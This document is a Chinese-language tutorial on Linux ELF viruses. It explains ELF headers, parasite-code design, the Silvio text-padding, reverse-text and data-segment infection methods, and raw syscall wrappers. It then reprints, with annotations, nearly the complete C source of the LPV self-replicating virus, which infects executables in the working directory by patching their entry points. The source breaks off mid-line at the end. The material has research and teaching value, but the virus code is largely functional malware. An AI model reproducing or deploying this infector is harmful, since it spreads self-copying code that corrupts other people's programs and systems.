前言

说起病毒大家肯定都很熟悉,但大多数人想起的一定是windows平台下病毒,而对linux下的病毒熟悉的人却少之又少。
之前在学习ELF文件格式的时候了解到ELF病毒的存在,现在让我们来花点时间深入学习下ELF病毒吧:)

1. ELF二进制格式

1.1 elf文件类型

ELF文件可以被标记为下面几种类型:

readelf -e命令可以看到ELF头、节头、程序头、段节这些信息,接下来我们会对其进行简单地介绍。

1.2 ELF头

$ readelf -h命令可以查看ELF文件头:

usr/include/elf.h文件中可以看到对elf头结构体的定义:

我们注意到前面readelf的输出里的“Magic”的16个字节刚好是对应”Elf32_Ehdr”的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性,比如ELF字长(32位/64位),字节序,ELF文件版本等等。
在输出中我们还能看到类别、数据、入口点地址等等重要信息,在分析一个ELF二进制文件之前检查ELF头是很重要的。

1.3 节头

首先要注意的是节不是段。段是程序执行的必要组成部分,在每个段中,会有代码或数据被划分为不同的节。
而节头表是对这些节的位置和大小的描述,主要用于链接和调试。一个二进制文件中如果缺少节头并不说明节不存在,只是无法通过节头来引用节,所以,ELF文件一定会有节,但是不一定会有节头。
text段的布局如下:

[.text] 程序代码
[.rodata] 只读数据
[.hash] 符号散列表
[.dynsym] 共享目标文件符号数据
[.dynstr] 共享目标文件符号名称
[.plt] 过程链接表
[.rel.got] G.O.T重定位数据

data段的布局如下:

[,data] 全局初始化变量
[.dynamic] 动态链接结构的对象
[.got.plt] 全局偏移表
[.bss] 全局未初始化变量

接下来将介绍一些比较重要的节:

1.4 ELF程序头

ELF程序头是对二进制文件中段的描述,而段是在内核装载是被解析,描述了磁盘上可执行文件的内存布局以及如何映射到内存中的。

2.ELF病毒技术

2.1 ELF病毒原理

每个可执行文件都有一个控制流,即执行路径,而elf病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,就会跳到原始的入口点或正常的执行路径上,这样就使得病毒不容易被发现。
另外,一个真正的ELF病毒应该具有下面的特点:

2.2 设计ELF病毒的关键问题

独立寄生代码

前面说过寄生代码必须是独立的。由于每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。
使用gcc的-nostdlib-fpic -pie选项可以将其编译成位置独立的代码。

字符串存储问题

在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效。所以在编写病毒代码时一般使用栈来存放字符串:

char name[] = {'e', 'l', 'f', 'v', 'i', 'r', 'u', 's', '\0'};

或者是用仍然使用传统的字符串定义方式,然后用gcc的-N选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据。但是这样有时又会导致一个问题,字符串会保存在全局数据中,导致代码占用的空间增大,在一般的情况下我们是不希望病毒代码体积很大的。

将执行控制流传给寄生代码

一般情况下可以通过调整ELF文件头来将入口点指向寄生代码,但是这样做很容易暴露寄生代码的位置。更谨慎的方法是找一个合适的位置插入或修改分支,通过分支来跳转到寄生代码(jmp或重写函数指针),一般可以用.ctors或.init_array节,这两个节中存放着函数指针。

3.ELF病毒寄生代码感染方法

3.1 Silvio填充感染

UNIX病毒之父Silvio发明的text段填充感染方法,利用了内存中text段和data段之间存在的一页大小的填充空间作为病毒体的存放空间。

.text感染算法

3.2 逆向text感染

在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。
计算一个可执行文件中可插入的最大寄生代码大小公式:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

感染算法:

3.3 data段感染

data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。
感染算法:

4.系统调用

前面说过,我们要编译独立的寄生代码,一方面也是为了让病毒能在不同的环境下运行。那么就不能使用其他的库,而是使用系统调用来完成病毒所需要的功能。通过系统调用我们可以直接访问到内核。
下面是在x86架构下,我们自己封装的系统调用的一组接口syscall0~syscall6,原本的接口可以在unistd.h中查看:

#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}

#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
                  "d" ((long)(arg3))); \
return(type)__res; \
}

#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
          type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}

#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
          type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
        : "=a" (__res) \
        : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
          "0" ((long)(arg6))); \
return(type),__res; \
}

实际上这组接口的区别只是向内核传递的参数个数不同,只有__syscall6多了栈操作。这是因为超过了五个参数就不能用寄存器来传递参数了,只能用使用栈。
病毒程序常用的系统调用如下:

__syscall0(int,fork);

__syscall1(time_t, time, time_t *, t);

__syscall1(int, close, int, fd);

__syscall1(unsigned long, brk, unsigned long, brk);

__syscall1(int, unlink, const char *, pathname);

__syscall1(void, exit, int, status);

__syscall2(int, fstat, int, fd, struct stat *, buf);

__syscall2(int, fchmod, int, filedes, mode_t, mode);

__syscall2(int,chmod,const char *,pathname,unsigned int,mode);

__syscall2(int, rename, const char *, oldpath, const char *, newpath);

__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);

__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

__syscall3(int, open, const char *, file, int, flag, int, mode);

__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);

__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);

__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);

__syscall3(int, execve, const char *, file, char **, argv, char **, envp);

__syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);

5.LPV病毒分析

lpv病毒是《linux二进制分析》作者Ryan O'Neill用.text感染算法写的linux32位下的测试病毒。

这个病毒将自己复制到它有权写入的第一个未受感染的可执行文件(复制也是病毒最本质的行为),它一次只复制一个可执行文件。 病毒会在感染的每个二进制文件中写入magic作为标记,使病毒能检测到文件是否为已被感染。 目前病毒只感染当前工作目录内的文件,但可以很容易地修改。
此病毒在主机可执行文件的text段末尾扩展/创建PAGE大小的填充,然后将其自身复制到该位置。 原始入口点被修补到寄生代码的起点,该寄生代码在其执行后将控制权返回给主机。该代码与位置无关并通过系统调用宏避开libc。

关键部分我在下面的源码中加上了注释:

/*
* Linux VIRUS - 12/19/08 Ryan O'Neill
*
* -= DISCLAIMER =-
* This code is purely for research purposes and so that the reader may have a deeper understanding
* of UNIX Virus infection within ELF executables. 
*
* Behavior:
* The virus copies itself to the first uninfected executable that it has write permissions to, 
* therefore the virus copies itself one executable at a time. The virus writes a bit of magic 
* into each binary that it infects so that it knows not to re-infect it. The virus at present
* only infects files within the current working directory, but can easily be modified.
* 
* This virus extends/creates a PAGE size padding at the end of the text segment within the host
* executable, and copies itself into that location. The original entry point is patched to the
* start of the parasite which returns control back to the host after its execution.
* The code is position independent and eludes libc through syscall macros. 
* 
* Compile:
* gcc virus.c -o virus -nostdlib
* 
* elfmaster[at]zoho.com
*
*/


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>

#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"

void end_code(void);

unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
                  struct stat, char *, unsigned long);

extern int myend;
extern int foobar;
extern int real_start;

_start() 
{
__asm__(".globl real_start\n"
    "real_start:\n"
    "pusha\n"
    "call do_main\n"    //跳转到do_main()
    "popa\n"
    "jmp myend\n");    //跳转到病毒体结束位置

}

do_main()
{

  struct linux_dirent
  {
          long d_ino;
          off_t d_off;
          unsigned short d_reclen;
          char d_name[];
  };

  char *host;
  char buf[BUF_SIZE];
  char cwd[2];
  struct linux_dirent *d;
  int bpos;
  int dd, nread;

  unsigned char *tp;
  int fd, i, c;
  char text_found;
  mode_t mode;

  struct stat st; 

  unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start);  //动态计算main函数地址

  unsigned int parasite_size = (char *)&myend - (char *)&real_start;   //病毒体尾部地址减去开始地址为寄生代码的大小
  parasite_size += 7;  // 7为jmp_code的大小,为了能跳转回原始入口点

  unsigned long int leap_offset;
  unsigned long parasite_vaddr;
  unsigned int numbytes;

  Elf32_Shdr *s_hdr;
  Elf32_Ehdr *e_hdr;
  Elf32_Phdr *p_hdr;

  unsigned long text;
  int nc; 
  int magic = 32769;
  int m, md;
  text_found = 0;
  unsigned int after_insertion_offset;
  unsigned int end_of_text;

  char infected;

  cwd[0] = '.';
  cwd[1] = 0;

  dd = open (cwd, O_RDONLY | O_DIRECTORY);

  nread = getdents (dd, buf, BUF_SIZE);
  /*重复读取并感染当前目录下的未被感染的可执行文件*/
  for (bpos = 0; bpos < nread;) {

    d = (struct linux_dirent *) (buf + bpos);
    bpos += d->d_reclen;

    host = d->d_name;

    if (host[0] == '.')  
    continue;

    if (host[0] == 'l')
    continue;

    fd = open (d->d_name, O_RDONLY); 

    stat(host, &st);
    char mem[st.st_size];

    infected = 0;
    c = read (fd, mem, st.st_size);

    e_hdr = (Elf32_Ehdr *) mem;
    if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF"))  //判断文件是否为一个elf可执行文件 
    {
          close (fd);
          continue;
    }
    else 
    {
        p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
    for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
    {
        if (p_hdr->p_type == PT_LOAD)
        {
            if (p_hdr->p_flags == (PF_R | PF_X))
            {    
                md = open(d->d_name, O_RDONLY);
                unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
                lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
                read(md, &m, sizeof(magic));
                if (m == magic)  //通过magic标记判断已感染的文件
                    infected++; 
                close(md);
                break;
            }
        }
    }
    } 

    if (infected)  //如果已经被感染就继续读取下一个文件
    {
    close(fd);
        continue; 
    }
    else
    {
          p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
        for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) 
    {
         /*定位text段的phdr*/
        if (text_found) 
        {
              p_hdr->p_offset += PAGE_SIZE;
            continue;
        }
        else 
        if (p_hdr->p_type == PT_LOAD) 
        {
              if (p_hdr->p_flags == (PF_R | PF_X)) 
            {
                    text = p_hdr->p_vaddr;
                    parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
                    old_e_entry = e_hdr->e_entry;      //覆盖旧入口点
                    e_hdr->e_entry = parasite_vaddr;  //修改入口点为寄生代码的虚拟地址
                    end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
                    p_hdr->p_filesz += parasite_size;  //把文件和内存长度增加为寄生代码的长度
                    p_hdr->p_memsz += parasite_size;
                    text_found++;
              }
        }
    }
    } 
    s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
    for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) //遍历程序头
    {
          if (s_hdr->sh_offset >= end_of_text)  //根据页长度增加位于寄生代码后的节头的偏移
          s_hdr->sh_offset += PAGE_SIZE;
      else 
      if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr)  //把位于text段最后一个节头的大小增加为寄生代码的大小
          s_hdr->sh_size += parasite_size;
    } 

      e_hdr->e_shoff += PAGE_SIZE;  //根据页长度增加段的偏移
      mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
      close (fd);
      goto done;
  }
      done:
      close (dd);
  }

void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
  unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{

  int ofd;
  unsigned int c;
  int i, t = 0;
  int magic = 32769;

  char tmp[3];
  tmp[0] = '.'; 
  tmp[1] = 'v';
  tmp[2] = 0;

  char jmp_code[7];

  //使用jmp_code来跳转到原始入口点
  jmp_code[0] = '\x68'; /* push */
  jmp_code[1] = '\x00'; /* 00    */
  jmp_code[2] = '\x00'; /* 00    */
  jmp_code[3] = '\x00'; /* 00    */
  jmp_code[4] = '\x00'; /* 00    */
  jmp_code[5] = '\xc3'; /* ret */
  jmp_code[6] = 0;

  int return_entry_start = 1;
  ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);

  write (ofd, mem, end_of_text);  //扩展text段的尾部
  *(unsigned long *) &jmp_code[1] = old_e_entry;  //把原始入口点写入到寄生代码头部
  write (ofd, (char *)address_of_main, psize - 7); //将寄生代码从text段尾部写入
  write (ofd, jmp_code, 7);  //写入jmp_code

  lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR); 
  write (ofd, &magic, sizeof(magic));  //将magic写入宿主文件作为标记

  mem += end_of_text;

  unsigned int last_chunk = st.st_size - end_of_text;
  write (ofd, mem, last_chunk);
  rename (tmp, host);
  close (ofd);


}

unsigned long get_eip(void)
{
  __asm__("call foobar\n"
          ".globl foobar\n"
          "foobar:\n"
          "pop %eax");
}

/*系统调用接口定义*/
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}


#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
                  "d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
          type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
          type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
        : "=a" (__res) \
        : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
          "0" ((long)(arg6))); \
return(type),__res; \
}

__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char 

       
       
       

    

Hacking more

...